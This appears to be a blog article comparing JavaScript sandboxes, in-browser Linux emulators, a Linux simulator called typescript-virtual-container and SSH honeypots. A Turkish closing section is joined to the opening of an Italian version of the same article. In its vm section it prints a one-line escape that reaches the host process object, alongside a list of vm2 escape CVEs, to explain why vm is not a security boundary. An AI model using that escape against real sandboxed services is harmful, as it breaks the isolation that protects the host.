Bu benim favorim. node:fs polyfill'i, senkron Node.js fs API'sini (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) iki katmanla desteklenen şekilde uygular: senkron okumalar için bellek içi bir Map ve sayfa yeniden yüklemeleri arasında kalıcılık için IndexedDB. Yazmalar hemen Map'e gider (böylece writeFileSync'ten hemen sonra readFileSync her zaman çalışır), ardından arka planda asenkron olarak IndexedDB'ye aktarılır.

// Senkron önbellek (yol → Uint8Array | null) -- anında okumalar
const memCache = new Map();

// Başlangıçta IndexedDB'deki her şeyi memCache'e önceden yükle
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

VFS snapshot'ının tarayıcıda sayfa yeniden yüklemelerinde hayatta kalmasının nedeni budur -- tüm .vfsb ikili dosyası bu polyfill aracılığıyla IndexedDB'ye yazılır ve bir sonraki yüklemede geri okunur. Wasm yok. Sunucu yok. Sadece yaklaşık 2011'den beri her tarayıcıda bulunan IndexedDB.

node:crypto -- saf JS'de SHA-256

Bir Wasm kripto kütüphanesi çekmek yerine, kripto polyfill'i, FIPS 180-4 tur sabitlerini kullanarak SHA-256'yı sıfırdan uygular. Tam hex/base64/Uint8Array çıktı desteğiyle 166 satır saf JS. Kütüphanedeki tüm hash'leme bunun üzerinden gider -- SSH ana bilgisayar anahtarı parmak izi, iç checksum'lar, her şey. Kompakt, sıfır bağımlılık, sadece çalışır.

node:os -- tarayıcının gerçek donanımını okur

Bu güzel bir dokunuş. Sert kodlanmış yer tutucu değerler döndürmek yerine, node:os toplam RAM için navigator.deviceMemory ve CPU sayısı için navigator.hardwareConcurrency okur. Yani tarayıcı derlemesinin içindeki neofetch aslında gerçek makinenle ilgili bir şey bildirir -- uydurma bir 2 çekirdek, 2GB RAM taslağı değil.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB yedek
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // ayrıca CPU model dizesini tahmin etmek için navigator.userAgent'i ayrıştırır
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- dürüst taslaklar

Tarayıcı TCP soketleri açamaz veya gerçek SSH çalıştıramaz, bu yüzden bunlar, bir şey onları kullanmaya çalışırsa net bir mesajla NotImplemented hatası fırlatan taslaklardır. Sessiz hata yok, bir nesnenin beklendiği yerde undefined döndürme yok. Sadece yüksek sesli, net bir "bu tarayıcıda çalışmaz" -- tam olarak istediğin şey.

process.js ve buffer.js -- enjekte edilmiş globaller

Bu ikisi, esbuild'in inject seçeneği aracılığıyla paketlenmiş her dosyanın tepesine enjekte edilir, böylece process ve Buffer herhangi bir açık import olmadan global olarak kullanılabilir. process.js küçüktür: env, version, platform: 'browser', queueMicrotask aracılığıyla nextTick, performance.now() aracılığıyla uptime. buffer.js, Uint8Array üzerinde tam bir Buffer yeniden uygulamasıdır -- SSH uygulaması ve VFS'nin dayandığı tüm readUInt32BE, writeInt16LE, hex/base64 kodlama yöntemleri.


Tüm polyfill seti, toplamda yaklaşık 640 satır elle yazılmış JS'dir. npm paketi yok. Wasm yok. Ve sonuç, kütüphanenin kendisi olan, yerel olarak çalışan ve Node-öncelikli kütüphanelerdeki olağan "ama tarayıcıda gerçekten çalışıyor mu?" kaygısı olmayan bir tarayıcı paketidir. Eğer merak ediyorsan, repodaki polyfills/ klasörüne bir göz atmanı öneririm -- her dosya iyi kapsüllenmiş ve kendi başına okunabilir, ki bu çok takdir ettiğim bir stil seçimi.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Kategori JS sandbox JS sandbox JS sandbox Emülatör Emülatör Node.js/Wasm Honeypot Simülatör
JS izole eder ⚠️ kapsam ✅ V8 Isolate ✅ Wasm yok yok kısmi yok ✅ Worker
Gerçek Linux çekirdeği ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Shell yorumlayıcı ❌ ❌ ❌ ✅ (gerçek) ✅ (gerçek) ✅ (gerçek) kısmi ✅ (özel)
~170 Unix komutu ❌ ❌ ❌ ✅ ✅ kısmi ~20 ✅
POSIX izinleri ❌ ❌ ❌ ✅ ✅ ✅ kısmi ✅ zorunlu
Kullanıcı yönetimi ❌ ❌ ❌ ✅ ✅ ❌ minimal ✅ tam
Gerçek SSH sunucusu ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/denetim ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS diff/snapshot ❌ ❌ ❌ sınırlı ❌ ❌ ❌ ✅
Sanal ağ L2/L3 ❌ ❌ ❌ temel ❌ ❌ ❌ ✅ tam
Sanal VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Tarayıcı desteği ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js yerel ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
Tipli API temel ✅ ✅ minimal ❌ ✅ ❌ ✅ tam
İkili uyumluluk yok yok yok ✅ ✅ kısmi yok ❌
Başlatma süresi anında anında anında 15–40s 15–40s 2–5s anında <1s
RAM/örnek ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
Çalışma zamanı bağımlılıkları 0 1 (yerel) 1 (Wasm) 0 özel 1 Python bağ. 3 (ssh2, ws, fflate)
Durum kararlı ✅ aktif ✅ aktif ✅ çok aktif ticari ✅ aktif ✅ aktif ✅ aktif

Ne zaman hangisine başvurmalı

Güvenilmeyen JavaScript çalıştırman gerekiyor -- kullanıcı tarafından gönderilen bir formül, bir eklenti, bir script kancası.
→ isolated-vm. Gerçek V8 Isolate, sert bellek limitleri, açık iletişim köprüsü. vm2'den kaçının -- CVE listesi büyümeye devam ediyor, cidden her birkaç ayda bir yenisi çıkıyor. vm'den kaçının -- hiç sandbox değil, lütfen.

JS'yi sandbox'a alman gerekiyor ama yerel bir eklenti istemiyorsun veya tarayıcı uyumluluğuna ihtiyacın var.
→ quickjs-emscripten. Wasm sınırı, ~500 KB modül, tarayıcı ve Node'da çalışır. V8'den yavaş ama gerçekten izole.

Gerçek, değiştirilmemiş bir Linux işletim sistemini ikili uyumlulukla başlatman gerekiyor.
→ 32-bit Linux için v86 veya mevcut bir Docker imajın varsa container2wasm. 150 MB+ RAM ve 30 saniyelik başlatmayı kabul et, bu anlaşma böyle. 64-bit'e ihtiyacın varsa, CheerpX'e bak veya sadece gerçek bir konteyner çalışma zamanı kullan.

Bir web uygulamasına backend olmadan Linux benzeri bir terminal gömmek istiyorsun.
→ v86 (tam işletim sistemi, ağır, başlaması yavaş) veya typescript-virtual-container'ın tarayıcı paketi (simülatör, daha hafif, anında başlatma, tam bir masaüstü için startxfce4 içerir ki bu oldukça havalı ngl).

Etkileşimli çevrimiçi kodlama eğitimleri veya tarayıcı IDE'sine ihtiyacın var.
→ Node.js ekosistemi odaklıysan WebContainers. Gerçek bir Linux kullanıcı alanına ihtiyacın varsa CheerpX. Daha hafif bir seçenek ve tipli bir API istiyorsan typescript-virtual-container'ın tarayıcı paketi.

SSH saldırgan TTP'lerini ölçekli olarak toplamak istiyorsun.
→ Cowrie production standardıdır, nokta. Herhangi bir Linux sunucusunda çalışır, her SIEM ile entegre olur, artık LLM modu var. Sadece Cowrie kullan.

Bir Node.js uygulamasında programatik API ile SSH honeypot verisi istiyorsun.
→ typescript-virtual-container. Komutlar gerçekten yürütülür. VFS, snapshot'ını alıp diff'ini yapabileceğin gerçek bir veri yapısıdır. Saldırgan inandırıcı, etkileşimli bir ortam alır ve sen Node'dan ayrılmadan yapılandırılmış denetim verisi alırsın.

Docker olmadan CI'da shell otomasyonu / testi yapman gerekiyor.
→ typescript-virtual-container. Bir saniyeden kısa sürede başlat, testten önce snapshot al, sonra geri yükle. Tipli API ile shell komutları çalıştır. Docker daemon'u yok, çekirdek yok, VM yok, bekleme yok.

Çok kiracılı shell ortamlarına ihtiyacın var (SaaS, eğitim, öğretim).
→ typescript-virtual-container. Örnek başına 5–20 MB, emülatör için 150–256 MB'a karşı. 100 eşzamanlı kullanıcı: ~2 GB'a karşı ~25 GB. Barındırma maliyetlerinde büyük fark!

Aynı zamanda çoklu VM ağ laboratuvarı inşa etmene izin veren gerçekçi bir honeypot'a ihtiyacın var.
→ typescript-virtual-container bu alanda ikisini de yapan tek şey.


Yapamadığı şeyler (ve bu konuda dürüst olmak istiyorum)

Yerel x86 ikili dosyalarını çalıştıramaz. C kodu derlemen, gerçek bir Python yorumlayıcı çalıştırman veya Linux için derlenmiş yazılım kullanman gerekiyorsa, bu syscall'ları destekleyecek bir çekirdek ABI'si yoktur. gcc, python3 ve node gibi komutlar taslaktır -- --version ve yaygın kullanımlara yanıt verirler, ancak gerçek bir şey yürütmezler.

Bu temel takastır: 10–50 kat daha düşük bellek, anında başlatma, tarayıcı uyumluluğu, tipli bir API, gerçek SSH ve sanal ağ kazanırsın -- ve Linux kullanıcı alanıyla ikili uyumluluktan vazgeçersin.

Fortune, projeyi tasarlarken bunu çok düşündü. Hedeflediği kullanım durumları için -- honeypot'lar, test, gömülü terminaller, CI ortamları -- derlenmiş bir ikili dosyayı çalıştırmak aslında asla gerekmez. Shell pipeline'ları, dosya manipülasyonu, ağ yönlendirmesi ve SSH her şeyi kapsar. Ancak kullanım durumun gerçek derlenmiş yazılım gerektiriyorsa, v86 veya Docker doğru cevaptır, bu değil.


Toparlarken

Veeeee evet. Bu ekosistem, dışarıdan göründüğünden daha geniş ve daha parçalanmış. vm bir kapsam ayırıcıdır, sandbox değil. vm2 CVE biriktirmeye devam ediyor (cidden, bu ayın danışma notlarını kontrol et). isolated-vm doğru JS sandbox'lama cevabıdır ama sadece JS. quickjs-emscripten, tarayıcı uyumluluğuna ihtiyacın olduğunda veya yerel eklentilerden kaçınmak istediğinde doğru seçimdir. v86 ve CheerpX, gerçek ikili uyumluluğa ihtiyacın olduğunda gerçek emülatörlerdir. WebContainers, Wasm'de Node.js'dir, genel bir Linux ortamı değil. Cowrie, SSH honeypot altın standardıdır ama Python'dur ve Node-yerel değildir.

Ve sonra typescript-virtual-container var -- Fortune'un projesi -- kendi kategorisinde yaşayan bir şey. Bir emülatör değil, bir JS sandbox'ı değil, pasif bir honeypot değil. Hepsinin arasında, diğerlerinin hiçbirinin yapamadığı birçok şey için şaşırtıcı derecede kullanışlı olduğu ortaya çıkan bir şey.

typescript-virtual-container, diğerlerinin hiçbirinin dokunmadığı boşluğu doldurur: gerçek SSH, SFTP, POSIX izinleri, kullanıcı yönetimi, sanal ağ ve tipli bir TypeScript API ile ~10 MB'da çalışan, bir saniyeden kısa sürede başlayan, hem Node.js'de hem de tarayıcıda çalışan eksiksiz, programatik bir Linux shell ortamı.

Denemek istersen: kaynak github.com/itsrealfortune/typescript-virtual-container adresinde ve tam bir masaüstü için startxfce4 de dahil canlı bir demo (ki bu cidden hasta) itsrealfortune.fr/typescript-virtual-container/demo adresinde. Git bir göz at ve Fortune'a GitHub'da biraz yıldız ver, bunu hak ediyor!

Okuduğun için teşekkürler -- bu benim standartlarıma göre bile çok uzundu :) umarım faydalı olmuştur!


Kaynaklar

Her iddiayı bir birincil kaynağa bağlamaya çalıştım -- CVE danışma notları, resmi dokümanlar, GitHub repoları, bakımcıların blog yazıları. Birkaç not: vm2 CVE listesi büyümeye devam ediyor, bu yüzden FortiGuard bağlantısı bunu okuduğun zamana kadar güncelliğini kaybetmiş olabilir (en sonuncusu için GitHub danışma sayfasını kontrol et). Bellard bağlantılarının hepsi kararlıdır -- kişisel sitesi sonsuza kadar açıktır ve içerik değişmez. Ve polyfill'ler hakkında daha derine inmek istersen, doğrudan typescript-virtual-container reposundaki polyfills/ klasörüne göz at -- burada yazabileceğim herhangi bir açıklamadan daha okunabilir.

JavaScript sandbox'ları

Linux emülatörleri

Terminal yığını

Honeypot'lar

typescript-virtual-container

Arka plan okumaları

Confronto tra Soluzioni JavaScript per la Simulazione di Kernel Linux

Un'analisi approfondita delle ricreazioni di ambienti Linux in

Ogni sandbox, emulatore, simulatore e honeypot JavaScript -- a confronto

Allora, sono stato fin troppo in fondo a questa tana del coniglio per un bel po'. È iniziato perché stavo aiutando con typescript-virtual-container -- un progetto di Fortune (ne parleremo tra poco) -- e continuavo a sentirmi chiedere "aspetta, in cosa è diverso da v86?" o "perché non usare semplicemente vm2?" -- e ho realizzato che non potevo dare una risposta chiara senza mappare prima l'intero ecosistema. Quindi eccoci qui, suppongo lol.

A quanto pare ci sono quattro famiglie distinte -- sandbox JS, emulatori Linux, simulatori Linux e honeypot -- e non si sovrappongono quasi mai, anche se vengono costantemente menzionate nello stesso discorso. Chi costruisce un sistema di plugin usa isolated-vm. Chi fa una demo di un tool CLI usa v86. Chi fa threat intelligence SSH usa Cowrie. Risolvono problemi completamente diversi sotto lo stesso vago ombrello di "eseguire codice in una scatola."

Ho passato un sacco di tempo a leggere codice sorgente, rapporti CVE, documentazione di architettura e pagine npm per scrivere questo. Sarà lunghissimo -- prenditi un caffè, sul serio. O due.

Breve disclaimer: typescript-virtual-container è ampiamente citato in questo articolo perché è ciò che ha scatenato questa ricerca. Ho cercato di essere equo con tutto il resto, ma tieni presente questo contesto.


Parte 0 -- Prima di tutto, che problema stai risolvendo?

Prima di immergerci, vale la pena essere precisi su a cosa serve ogni famiglia, perché la terminologia diventa rapidamente confusa e le persone le mischiano continuamente (compreso me, prima che mi sedessi e le mappassi per bene).

Sandbox JS isolano il codice JavaScript dal processo Node.js host. Il modello di minaccia è: codice JS non fidato che potrebbe chiamare process.exit(), leggere file o spawnare processi figli. La soluzione è un confine attorno all'esecuzione V8. Questi strumenti non hanno alcun concetto di shell Linux, filesystem con permessi o SSH.

Emulatori Linux eseguono un kernel Linux reale e non modificato all'interno di un emulatore CPU (x86, RISC-V, OR1K) implementato in JavaScript o WebAssembly. Avvii un vero sistema operativo. Ottieni vere syscall. Ottieni compatibilità binaria con programmi compilati per x86. Il sovraccarico è enorme.

Simulatori Linux fingono il comportamento di un sistema Linux senza eseguire un kernel reale. Implementano un interprete di shell, un filesystem virtuale e abbastanza semantica Unix da ingannare programmi e umani. Nessun kernel. Nessun Wasm. Nessuna emulazione CPU. Sovraccarico molto inferiore.

Honeypot sono costruiti per attirare attaccanti e registrare cosa fanno. Non sono principalmente ambienti di esecuzione -- sono strumenti di osservabilità. La fedeltà al comportamento Linux reale conta solo nella misura in cui impedisce all'attaccante di rilevare la trappola.

Con questa premessa, ecco dove si colloca ogni progetto in questo articolo:

Sandbox JS:        vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Emulatori Linux:   v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Simulatori Linux:  typescript-virtual-container (unico in questo spazio)
Honeypot:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminale:   xterm.js + node-pty (non un isolatore, ma affine)

Parte 1 -- Sandbox JavaScript

1.1 vm -- il modulo integrato di Node.js (non è quello che pensi)

La risposta più vecchia a "esegui JS non fidato" in Node è il modulo vm integrato. C'è fin dalla v0.1, quindi molte persone lo usano per prime -- e poi vengono scottate.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Cosa fa realmente vm: crea un nuovo contesto V8 (un set fresco di costruttori built-in -- Object, Array, Function, ecc.) ed esegue codice al suo interno, con un riferimento condiviso a ciò che metti in sandbox. Il tuo motore V8 non cambia. Il tuo processo non cambia. La memoria è condivisa.

Il motivo per cui vm non fornisce sicurezza: la catena di prototipi di JavaScript è un DAG che collega tutto a Object.prototype. Se metti un qualsiasi oggetto dal realm host nella sandbox, l'ospite può risalire la sua catena di prototipi e raggiungere i costruttori host. Da Function, puoi chiamare Function("return process")() e recuperare il vero oggetto process. Game over. Immediatamente.

// Questo funziona perfettamente in vm -- ottieni il vero oggetto process
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Cioè, la documentazione di Node.js stessa dice: "Il modulo vm non è un meccanismo di sicurezza. Non usarlo per eseguire codice non fidato." Questo avviso c'è da sempre. La gente lo ignora costantemente. Ho visto app di produzione usare vm come sandbox. Per favore, non fatelo xD

Verdetto: un meccanismo di scope, non una sandbox. Usalo quando ti serve un ambito di variabili isolato (template engine, funzioni simili a eval dove controlli il codice). Mai per input non fidato.

Memoria: overhead trascurabile -- stesso heap V8 del processo host.
Sicurezza: nessuna contro un attaccante motivato.


1.2 vm2 -- il tentativo della community, e la sua lunghissima morte

vm2 era la risposta della community al problema di fuga di vm. L'idea centrale: avvolgere ogni oggetto che attraversa il confine della sandbox in un Proxy che intercetta l'accesso alle proprietà, blocca la risalita del prototipo e filtra i riferimenti pericolosi. Idea intelligente in teoria! Non così tanto nella pratica, come vedremo.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // throws VMError, process not accessible

Per diversi anni ha funzionato ragionevolmente bene. Ma la superficie d'attacco di un Proxy JavaScript è enorme. Ogni nuova funzionalità del linguaggio JS -- generatori, iteratori asincroni, Symbol.toPrimitive, Error.prepareStackTrace, slot interni di Promise -- è un potenziale vettore di bypass.

La timeline delle CVE è... qualcosa. Tipo, guarda questa:

Data CVE Meccanismo
Ott 2022 CVE-2022-36067 Fuga dal contesto host Error.prepareStackTrace
Apr 2023 CVE-2023-29017 Perdita di oggetti host tramite stack di errori async non gestiti
Apr 2023 CVE-2023-29199 Bypass della sanitizzazione delle eccezioni tramite handleException()
Apr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Mag 2023 CVE-2023-32314 Proxy su Error.name → Function → RCE
Lug 2023 CVE-2023-37466 Funzione async + stack overflow + Proxy.getPrototypeOf
Lug 2023 CVE-2023-37903 Worker thread + fuga eval

Tre CVE critiche nello stesso mese (aprile 2023). TRE. IN UN MESE. Dopo CVE-2023-37903, il maintainer ha ufficialmente deprecato la libreria con il messaggio: "La libreria contiene problemi di sicurezza critici e non dovrebbe essere usata in produzione."

Il maintainer l'ha resuscitata nell'ottobre 2025 con la versione 3.10.0, sostenendo di aver risolto tutto ciò che era noto all'epoca. Una nuova fuga critica (CVE-2026-22709, CVSS 9.8) è stata divulgata nel gennaio 2026, seguita da un lotto di altre undici nel maggio 2026. Undici. Il modello non è cambiato e onestamente non credo che cambierà mai.

Il problema fondamentale è architetturale -- e questa è la lezione che l'intero ecosistema ha impiegato un po' per imparare. Non puoi costruire una sandbox sicura usando lo stesso linguaggio che stai sandboxando, sullo stesso motore, nello stesso processo. La superficie di fuga è l'intera implementazione di V8 -- e V8 sono diversi milioni di righe di C++ che continuano a cambiare. Ogni nuova funzionalità JS apre potenzialmente un nuovo percorso d'attacco.

Verdetto: Non usare per applicazioni sensibili alla sicurezza. Anche nell'ultima versione, nuovi bypass vengono scoperti ogni pochi mesi. Il maintainer stesso lo ha riconosciuto apertamente.


1.3 isolated-vm -- quello che funziona davvero

isolated-vm adotta l'approccio corretto: usare il primitivo di isolamento di V8, l'Isolate. Ogni V8 Isolate ha il proprio heap, il proprio garbage collector, il proprio set di built-in e zero riferimenti condivisi con altri Isolate.

Questo è lo stesso confine che Chrome usa tra le schede. È un vero confine di sicurezza, non un trucco a livello di linguaggio basato su Proxy.

import ivm from "isolated-vm";

// Each isolate is its own V8 heap
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB cap
const context = await isolate.createContext();
const jail = context.global;

// Passing data across the boundary requires explicit serialization
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Can't reach host process, host heap, or host modules
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// You can hard-terminate on timeout or memory limit
isolate.dispose(); // frees the entire heap

I tipi Reference e ExternalCopy sono il ponte di comunicazione esplicito. Una Reference dà all'isolate un handle chiamabile a una funzione host -- l'isolate può chiamarla ma non può ispezionare la sua closure o il suo prototipo. Un ExternalCopy serializza un valore (structured clone) attraverso il confine dell'heap. Questo modello a ponte esplicito non è comodo, ma è ciò che rende reale l'isolamento.

Puoi impostare limiti di risorse rigidi: memoria (l'isolate viene terminato se supera il limite), timeout a tempo reale e timeout CPU. La terminazione è reale -- uccide l'intero V8 Isolate, non solo un timeout JS che può essere bypassato con un while(true).

Limitazioni: solo JS. Non puoi eseguire bash al suo interno. Non c'è concetto di file, permessi, rete o processi. È esattamente lo strumento giusto per JS inviato dall'utente (plugin, formule, script hook), e lo strumento sbagliato per tutto il resto. L'autrice di typescript-virtual-container ha menzionato di averlo considerato all'inizio prima di rendersi conto che "eseguire comandi shell" e "isolare JavaScript" sono problemi fondamentalmente diversi.

Memoria: ~3–10 MB per isolate vuoto, cresce con l'uso dell'heap.
Sicurezza: forte. Il confine V8 Isolate è il primitivo di isolamento reale.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- un motore JS separato compilato in Wasm

Un approccio diverso: invece di isolare all'interno di V8, esegui un motore JavaScript completamente separato compilato in WebAssembly. L'host esegue V8/Node. L'ospite esegue QuickJS-in-Wasm. La sandbox Wasm fornisce il confine di isolamento.

QuickJS è di nuovo lavoro di Fabrice Bellard (lo stesso tizio dietro QEMU, FFmpeg, JSLinux, TinyEMU -- questa persona non è reale, come fa una singola persona a fare tutto questo?). È un motore JS piccolo e conforme alle specifiche ES2023 scritto in C, e quando compilato in Wasm è solo ~500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Runs in QuickJS, completely separate from V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS è un motore JavaScript ES2023 piccolo e conforme alle specifiche scritto in C. Compilato in Wasm, è ~500 KB per la variante sincrona, ~1 MB per quella asincrona (Asyncify). La gestione della memoria è manuale -- ogni valore che estrai dalla VM deve essere esplicitamente smaltito, il che è un po' fastidioso ma previene sorprese GC oltre il confine. Un compromesso interessante!

Il wrapper @sebastianwessel/quickjs aggiunge un'API più ergonomica sopra, con filesystem virtuale opzionale, supporto fetch e stub dei moduli Node.js:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Il modello di sicurezza è diverso da isolated-vm: il modello di memoria lineare di Wasm significa che l'ospite non può accedere direttamente agli oggetti heap di V8. La superficie d'attacco è l'interfaccia host↔Wasm (import/export), non l'intero linguaggio JS. Questo è generalmente considerato più robusto del sandboxing basato su Proxy.

Il problema: QuickJS non ha lo stesso livello di ottimizzazione di V8. Per carichi di lavoro JS CPU-bound, è 5–20x più lento di V8. Per brevi frammenti e eval non fidati, di solito non importa.

Memoria: ~500 KB modulo Wasm + heap per istanza.
Sicurezza: confine Wasm, considerato più forte degli approcci basati su Proxy.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- runtime con permessi come priorità

Deno adotta una filosofia completamente diversa: invece di creare sandbox in Node, costruisci un nuovo runtime che sia sicuro per impostazione predefinita. Mi piace molto questo approccio -- è ciò che Node.js avrebbe dovuto essere fin dall'inizio, onestamente. Ryan Dahl (il creatore originale di Node.js) ha letteralmente creato Deno perché si rammaricava di alcune decisioni di design di Node.js, il che è piuttosto pazzesco se ci pensi.

Ogni capacità sensibile (lettura file, scrittura file, rete, env, sotto-processi) richiede un flag --allow-* esplicito:

# Questo può solo leggere da /data, nient'altro
deno run --allow-read=/data script.ts

# Questo può fare fetch solo a un dominio
deno run --allow-net=api.example.com script.ts

# Nessun flag = nessun permesso
deno run untrusted.ts # can't read, write, network, spawn

Il modello di permessi è implementato a livello Rust/OS -- non è un trucco JS. Quando il codice Deno chiama Deno.readFile(), passa attraverso un'op Rust che controlla la tabella dei permessi prima di toccare il filesystem. Non puoi bypassarlo da JS perché la syscall non avviene mai se il permesso non è concesso.

Per eseguire codice veramente non fidato, i Deno Workers (Web Workers) forniscono un secondo isolate all'interno dello stesso processo, ognuno con il proprio set di permessi. Puoi spawnare un worker con zero permessi e comunicare con esso tramite postMessage.

Deno 2 (rilasciato nell'ottobre 2024) ha aggiunto la piena compatibilità npm e shim di compatibilità Node.js, migliorando significativamente la sua adozione per casi d'uso lato server.

Il compromesso: il modello di sicurezza di Deno è eccellente per codice di cui potresti fidarti parzialmente. Per codice completamente non fidato che potrebbe essere ostile, il modello di permessi non aiuta -- hai bisogno di un confine Isolate (isolated-vm) o di un motore diverso (quickjs-emscripten), perché Deno esegue ancora V8 e attaccanti sofisticati possono trovare bug a livello V8.


1.6 TC39 ShadowRealm -- la risposta standard (alla fine)

L'organismo di standardizzazione JavaScript (TC39) ha una proposta chiamata ShadowRealm che tenta di standardizzare ciò che vm e vm2 cercavano di fare, ma con un modello di sicurezza corretto. Uno ShadowRealm crea un contesto di esecuzione JS isolato con il proprio set di intrinsic, nessun accesso al realm esterno e un'interfaccia import/export attentamente controllata.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Separate intrinsics, no access to outer realm
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm è nei browser (Chrome 90+, Firefox 105+) ma a partire dal 2026 non è ancora in Node.js stabile. La proposta TC39 Compartments si basa su di esso per l'isolamento a livello di modulo. Queste sono le risposte standardizzate a lungo termine, ma non sono ancora pronte per la produzione per casi d'uso Node.js lato server. È una di quelle cose che vedi arrivare da lontano ma semplicemente... non è ancora qui. Classico TC39 xD


Riepilogo della famiglia sandbox

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Confine isolamento nessuno (solo scope) Proxy (rotto) V8 Isolate Wasm V8 Isolate + permessi Rust
Limite memoria ❌ ❌ ✅ limite rigido ✅ heap Wasm parziale
Timeout CPU ❌ ✅ (bypassabile) ✅ rigido ✅ ✅
Sicurezza nessuna rotta forte forte forte
Velocità JS V8 nativo V8 nativo V8 nativo ~10x più lento V8 nativo
Browser ❌ ❌ ❌ ✅ ❌
Compatibilità Node nativa ✅ ✅ shim parziali parziale
Stato stabile rischioso (nuove CVE) ✅ attivo ✅ attivo ✅ attivo
Overhead RAM ~1 MB ~5–20 MB ~3–10 MB ~5–15 MB ~10–30 MB

Il messaggio da portare a casa: se ti interessa la sicurezza, ci sono esattamente due opzioni reali -- isolated-vm (addon nativo, V8 Isolate, piena velocità JS) e quickjs-emscripten (Wasm, compatibile browser, ~10x più lento per codice compute-intensive). Tutto il resto è o "per favore non farlo" (vm, vm2) o un runtime che risolve un problema completamente diverso (Deno). ShadowRealm potrebbe cambiare questo quadro eventualmente, ma non è ancora pronto.


Parte 2 -- Emulatori Linux in JavaScript

Qui è dove le cose diventano davvero interessanti per me. Questi sono veri emulatori -- implementano un set di istruzioni CPU in JavaScript o WebAssembly, avviano una vera immagine del kernel Linux, ed eseguono veri binari userland. L'isolamento deriva dal fatto che ospite e host non condividono nulla: diversi spazi di memoria, diversi flussi di istruzioni.

Il prezzo che paghi è enorme, ma la cosa che ottieni è genuinamente notevole: vero Linux, che gira davvero, nel tuo browser o processo Node. Cioè, è piuttosto pazzesco se ci pensi, no?

2.1 v86 -- Emulatore PC x86 in JS + JIT Wasm

v86 di Fabrice (copy su GitHub) è l'emulatore x86 open-source più capace in JavaScript. È iniziato come un interprete JS puro intorno al 2013 e si è evoluto in un sistema JIT dove i blocchi di base x86 vengono tradotti in WebAssembly al volo, migliorando drasticamente le prestazioni.

Cosa emula:

  • CPU: x86-32 (IA-32), set di istruzioni approssimativamente a livello Pentium 1. Nessun supporto 64-bit (x86-64) -- questo è un limite architetturale, non una funzionalità mancante.
  • FPU: tramite Float64Array di JavaScript. x87 è a precisione estesa 80-bit; i double JS sono a 64-bit. Questo significa che i risultati in virgola mobile possono differire leggermente da una CPU reale.
  • Memoria: configurabile, mappata a un SharedArrayBuffer o ArrayBuffer nell'heap JS.
  • Hardware: 8254 PIT (timer), 8259 PIC (controllore interrupt), 8042 controller tastiera (PS/2), CMOS RTC, VGA con estensioni SVGA e Bochs VBE, controller IDE, controller floppy (8272A), scheda di rete NE2000.
  • BIOS: usa SeaBIOS (BIOS x86 open source).

Il JIT funziona identificando blocchi di base (sequenze di istruzioni x86 senza salti), traducendoli in una funzione WebAssembly, memorizzando nella cache quella funzione, e chiamandola nelle esecuzioni successive dello stesso blocco. I percorsi di codice caldo ottengono prestazioni Wasm native. I percorsi freddi ripiegano sull'interprete JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Capture serial output (Linux kernel console)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Send input to the guest (type into the shell)
emulator.serial0_send("ls /\n");

